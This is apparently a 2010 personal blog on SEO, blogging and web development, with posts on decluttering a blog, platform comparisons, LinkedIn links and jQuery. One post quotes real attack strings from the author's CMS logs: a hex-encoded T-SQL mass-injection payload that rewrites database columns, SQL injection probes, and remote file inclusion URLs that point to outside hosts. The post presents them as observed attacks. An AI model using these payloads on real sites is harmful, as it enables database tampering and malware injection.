Sunday, December 19, 2010

Spring clean your blog

I have recently suffered through the dreadful ordeal of cleaning out my cupboards at home. Digging out the dusty relics of my past was fun at first, but by the end I had found enough crap and clutter to start my own junk planet. This gave me a sudden brain fart... I realized that the same thing probably happens with a lot of blogs.

So I decided to get my Mary Poppins on and “Spring clean” my blog!

Remove the clutter
  • First I took a look at my keyword tags, and removed tags that had nothing to do with the key focuses of my blog or that I perceived to be out of the scope of possible search queries that I want to be found under. I also looked for un-necessary duplicated tags like “blog” and “blogging” and thinned these down to root keywords. Finally I looked for keywords with ambiguous meanings and gave them context, for example, “Tree” became “Tree View”.
  • I Removed the “Share This” Widget from my side bar, as I now have a more streamlined Social Media sharing tool at the bottom of each post. 
  • I removed my sidebar adverts, as they were getting lost in the clutter, and the adverts below each post stand out more.
Add some polish
  • If your post look a bit bland consider adding a picture, I mentioned this in my previous post 12 Ideas to Revitalise your Blog, it really does make a big difference.
  • Consider your template, it might be time for a new look and feel for your blog.
  • Go through your old post and see if you can update any of them with new developments, while you are at it, check that all outgoing links are still working. I would not recommend removing old post unless they add no value and are totally off topic.
  • Build some internal links by looking for post that relate to each other, and see if you can work in new content that references the other post with links to them.
Take a moment
Finnish off by taking a moment to relax and reward yourself for a job well done!

Friday, December 17, 2010

Webmaster SEO Training manual - SEO Juice

I am writing a Webmaster SEO Training manual for our clients, the following is an extract from the Introduction to SEO Chapter, any thoughts?

SEO Juice

Search engines provide search results based on how pages perform in a series of algorithms to determine the relative value of a result based on a search query. Basically, the search engine is trying to mathematically deduce who is the recognised authority on a given search query.

Although these algorithms are closely guarded secrets,  SEO Experts run test to try and ascertain what factors would give pages a boost in perceived authority. The term juice was coined to describe this perceived authority.

If your page is the first result in a Google search for “Widget Export” then you have a lot of Google juice for that phrase.

Thursday, October 14, 2010

12 Ideas to Revitalise your Blog

Your blog may be providing some great content, but you feel like you are getting stuck in a rut and not making progress. You might want to consider diversifying a bit with guest writers (always let them link to their own blog/website in exchange for the write-up) or by using some of the following ideas;

  • Lists: for example “5 brilliant Business Resources” or “10 Tips for Managers” or “10 New Business Ideas”
  • How to: for example “How to take Dominate the Boardroom” or “How to make a killer Presentation”
  • Learning from experiences: for example “I should have done X instead of Y” (excellent for guest bloggers)
  • Write a post examining the pros and cons of an issue.
  • Do an interview with key people in your niche.
  • Make a post simplifying a complex problem for your readers.
  • Spruce up your posts with pictures.
  • Post about frequently asked questions in your niche.
  • Aggregate and filter information, facts, stats or content that currently exists in different places in a single post.
  • Write part 2 of one of your posts that was extremely popular.
  • Write something to inspire/motivate your readers, especially if you don’t normally do that.
  • Blog an event: attend a relevant event and write about it

Happy blogging!

Sunday, October 3, 2010

Habanero – NEVER AGAIN!!!

Never again will I let a developer under me use a framework that I have not tested and approved myself.

I have just had to take over a project because a junior developer left our company.

Learn from my suffering!

Saturday, October 2, 2010

Blogger, Wordpress, and tumblr comparison

I’ve started a Photo Blog over at tumblr. Now I have blog’s on Blogger, Wordpress, and tumblr.
My impressions of these 3 free blogging sites so far are;

Wordpress
This seems to is the most flexible of the lot, but the popups on images are very annoying.

tumblr.
Incredibly easy to setup an use, I would happily recommend this to a first time blogger. Although the setup wizard tries to push you into using a paid premium template, you can get around it if the read the page properly. So far I am very impressed with it.

Blogger
I’m sorry to say Blogger is the most uncomfortable to use, and does not seem very flexible. I kind of regret setting it up as my primary blog, but you have to learn somehow.

Update
Blogger seem to be improving their systems, I used the new template tool and it was much better.
Well-done!

Let me know what you use and how happy you are with it.

Friday, August 20, 2010

TSQL Injection Hack Attempts

I’ve been getting a lot of hack attempts on my CMS lately, mostly in the form of attempted SQL injection.
Most of the IP addresses track back to the Middle East, China, and former USSR states. I don’t know what it is about these places, but it’s almost always them.

The scary thing is seeing how hack attempts are contently developing and adapting.

They uses to be simple like
;or 1=1

Now we get stuff like the following
;DeClARE%20@S%20vARChaR(4000);SET%20@S=caST(0x4465636C617265204074205641726368417228323535292C404320764172634861722832353529204465436C615265207461424C455F637572734F5220635572734F5220464F522073456C45635420412E6E414D452C622E6E616D652046724F6D207359734F624A4543547320612C735973434F6C756D4E73206220776865724520412E69643D422E496420616E6420612E58745950453D27752720414E442028622E58547950653D3939206F7220422E78745970653D3335204F5220622E58747970653D323331204F5220422E78745970453D31363729204F70454E207441626C655F437552734F52204645546368206E4558542066726F4D205441626C655F435552734F7220694E546F2040542C4043205748694C4528404066655463685F5374615475533D302920424547496E20657845432827755064415465205B272B40742B275D20536554205B272B40632B275D3D725472696D28634F6E7665725428766172434841522834303030292C5B272B40632B275D29292B43417374283078334336393636373236313644363532303733373236333344323236383734373437303341324632 46364536353644364636383735363936433634363936393645324537323735324637343634373332463637364632453730363837303346373336393634334433313232323037373639363437343638334432323330323232303638363536393637363837343344323233303232323037333734373936433635334432323634363937333730364336313739334136453646364536353232334533433246363936363732363136443635334520417320564152634841722831303629292729206645546368204E6558742066524F4D207461626C655F437572736F7220496E544F2040542C406320654E6420636C6F5365207461426C655F437552734F72206445616C6C4F63617465205461626C455F435552734F7220%20AS%20varchAR(4000));Exec(@s);--

Notice the case variations in an attempt to bypass checks for blacklisted words. And the TSQL Casting is just nightmarish.

Who writes this stuff?

More info avalible at : http://www.securiteam.com/securityreviews/5DP0N1P76E.html

Update :
Here are a few more address line attacks that I'm getting;
?_SERVER[DOCUMENT_ROOT]=http://www.fileden.com/files/2009/10/26/2620908/id.txt???
?id=1813'%20and%201=1%20and%20''=' (it's not even a log-in page, WTF)
?id=1813'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20'%25'=' 
?INCLUDE_FOLDER=http://lisia.pl/libraries/pear/archive_tar/ide1.txt????

Advertorial

I just got an advertorial done for this blog over at the Free Linked Advertorial Service
It’s a new service to help with Link Building.
http://freelinkadvertorial.wordpress.com/2010/08/20/the-carl-bartlett-blog/

Friday, June 18, 2010

LinkedIn are killing the link love

I have just noticed that the websites links in LinkedIn are no longer direct, but rather redirected thought an internal redirect page, thus killing the “link love” that we may have been getting from LinkedIn. I checked on Google Webmaster Tools and the incoming link from LinkedIn is no longer there.

I have written a polite message to LinkedIn stating that I think this is a bad idea considering how much  SEO community has promoted their service. I encourage all of you to do the same, and let them know that a large portion of their user base is not happy.

Update
I tried to contact LinkedIn using the "Help improve LinkedIn" link at the bottom of the page, but the "send your feedback" button is not working in Mozilla or IE!

Wednesday, June 9, 2010

How to Choose the Right Website Design Company

Over the next few weeks and months I will be writing a series of advice articles for people needing web services. I’m doing this to generate content that will help boost the SEO of our website.

Here is an excerpt from my first article;

What you should know about choosing a web site design company to ensure that your website will be as good as it can be.



Look at Previous Designs

Most web designers or design companies will have a portfolio of websites that they have worked on and these are usually available on their website. Take a moment to browse through these looking for diversity and quality. The number of sites they have worked on is also a good indicator of longevity in the industry.


How Stable and Reliable is the Company?

You want a web professional that will see the job to the end and not leave you with a half finished website. I have seen a number of clients come to me requesting that we take over their website because the designer is no longer with the company or has gone into another line of business.

Also, always ensure that your domain name is registered directly in your companies name and that the website hosting agreement is with your company. Trying to takeover these accounts from a designer who has moved on can be near impossible.


What is the Company's Reputation?

Look for testimonials from existing clients on their website, and if they don’t have testimonials on their website ask them to refer you to customers that will be willing to talk about their experience with the designers. Google their company name and look for customer complaints.

You can read the rest if this article at http://www.firsttech.net/Website_Design/Website_Advice/jit_default_951.How_to_choose_a_web_site_designer.html

If you find this information helpful, please link to the original article on the FirstNet website
Thanks

Sunday, May 30, 2010

Why I deleted your comment from my blog.

I wrote this as an email to a link spammer, but I figure I may as well share it here:

I could tell that your comment was just blatantly trying to use my blog for more incoming links, and to be honest I was kind of flattered, I was even going to leave it there... but then I clicked on your profile link, and found that you have no blog, so I cannot paste a link to my website in your blog. How is that fair? You can get a link from me, but I can’t get a link from you?

This is why I deleted you comment. If you do decide to set up a blog, please try and comment again, and if you let me comment on your blog with a link to my site... then I will not delete your link. This way we all win!

Warm regards
You friendly neighbourhood blogger
http://webmisterradixlecti.blogspot.com

Update : I still get tons of comment spam and have taken to comment spamming my comment spammers blogs in a futile attempt to get some good out of this. Check out this rant I found about comment spam - Warning, Contains strong language http://rantinglunatic.blog.com/2011/03/03/comment-spam-from-india/

Wednesday, April 21, 2010

Is South Africa more technologically advanced than Australia?

When I was on holiday in Perth, Australia, I noticed that none of the shops had Digital Price Tags, or wireless LCD advertising screens. This has become quite popular in South Africa, even in my sleepy hollow of a town Pietermaritzburg. When I asked my friends in Australia about it, they had never even heard this technology.

So here for my mates "Down Under", especially Ray, are some photos that I snapped at the shops of these items.
Digital Price Tags

Wireless LCD advertising screen playing a looping advert.

Side view of wireless LCD advertising screen.
Note the Arial for wireless transmission of the adverts to play.

As best I can understand, the adverts are commissioned and chosen at the head office of the shop in question, then pushed down to media servers in each shop respectively over the internet. From there they are transmitted on a wireless LAN to each device, and then visually assault shopper walking down the aisles with the latest specials and averts.

Technology Blog sponsored by Duxone South Africa

Thursday, March 18, 2010

Advantages and Disadvantages of using Social Networking for Marketing


It seems like the idea of using Social Networking for Marketing is getting a lot of attention and hype in most blogging and marketing circles. Even Google have admitted that Social Networks influence a pages ranking in search results. Just because people are talking about it, doesn’t mean that it’s all “flowers and sunshine”, before you jump on the bandwagon... do your research.

What are the advantages and disadvantages of using Social Networking to market your brand?

Advantages of Social Networking

  • Social Networking is a powerful medium to reach many new potential clients.
  • It will give potential clients a personal interface.
  • Social networking can be great for boosting your websites Search Engine Rankings.
  • Maintain contact with existing clients and keep them updated on new development or products. At a subconscious level, repeated exposure to your brand builds confidence in it.

Disadvantages of Social Networking

  • It will require a lot of research and hard work.
  • You have little or no control over what people say about your product or brand, but this is true whether or not you get involved.
  • People in Social networks will expect personal  interaction to a degree, and not just corporate jargon.
  • If you don’t know what you are doing, and make a big mistake it can hurt your brand (like this Facebook marketing nightmare).

General Advice

  • Don’t spread yourself too thin, start with a twitter account or maybe a facbook page, and grow from there.
  • Most web users hate spam, so you will need to provide interesting and useful original content and information.
  • Do your homework, or get a proffesional to help you (or this could be you).

Get Started

If you want to be the Social Media specialist at your company, or want to market your own brand but don’t have the funding to hire a specialist, then check out Faissal Alhaithami EBook called Facebook Marketing For Smart People.

Sunday, March 14, 2010

Choose the right JavaScript Library

I have been redeveloping the Jit Publisher CMS, and part of this has been looking at the framework. A lot of developers will focus on the server side framework and then coble in JavaScript as needed. This can make your JavaScript very bulky and even cause conflicts.

I spent a lot of time researching the available libraries and finally settled on jQuery. I did this because it is an open source library with a multitude of plug-ins available.

  • I now have jQuery UI elements in my admin UI
  • The Superfish Menu system (built using Suckerfish logic and then pimping it out with jQuery
  •  I’m using JStree (also uses jQuery) for my Trees
  •  I plan to leverage jQuery for any future modules that may need development
  •  Even my WYSIWYG has jQuery plug-in version
My only problem with jQuery is that the user documentation can be a bit hard to get your head around at first, but once you get it, all subsequent plug-ins and implementations are a lot easier.

Monday, February 8, 2010

David Vs Goliath - The David Kiely incident - Update

David Kiely will keep his job

Macquarie said in a statement it had completed an internal review of the events of February 2 and action had been taken after discussions with the employee, a banker in its private wealth division.

''He will remain an employee of Macquarie,'' the statement said.

''Macquarie and the employee apologise for any offence that may have been caused.''


This blog post was sponsored by Khulani Timber Industries

Thursday, February 4, 2010

David Vs Goliath - The David Kiely incident

What happened

During the February 2 nationally televised news bulletin broadcast to millions across Australia, a Macquarie Bank representative (Martin Lakos) was being interviewed about the Interest rate with the busy Macquarie office in the background. Meanwhile,  David Kiely a Macquarie Group staffer was reading his email not realising that behind him was a camera with a clear view of his screen. The problem is that David’s email included a couple of riskay pictures of a unclothed Miranda Kerr from her GQ magazine photo-shoot.

Some bright spark managed to record the live broadcast, and uploaded it to the internet where is spread like wildfire.

The reaction

Kiely is said to have been marched off the trading floor after the incident hit the headlines, and remains at home. He is expected to be interviewed in the next day or so, and his future will be decided in the next few days.

In London, a website called Here Is The City has called on its readers to email Macquarie Group's media team with the words ''Don't fire David Kiely'' as the subject title.
The email address provided is that of Macquarie's media team, mediaquery@macquarie.com, which has been inundated with messages of support for Mr Kiely from around the world.

On Facebook a number of groups wanting to ''save Dave'' have sprung up overnight.

Thoughts

The David Kiely incident could be the best bit of viral marketing to hit the internet in a long time if Macquarie Group handle it properly.

A Google search of “David Kiely Macquarie” returns almost 6000 results... you can’t buy that kind of publicity.  This would be the ideal time to spin off a cheeky internet advertising campaign, while keeping a serious approach to television.

I (and millions of others) look forward to seeing how Macquarie Group choose to handle this situation.

This blog is sponsored by Aquasol Durban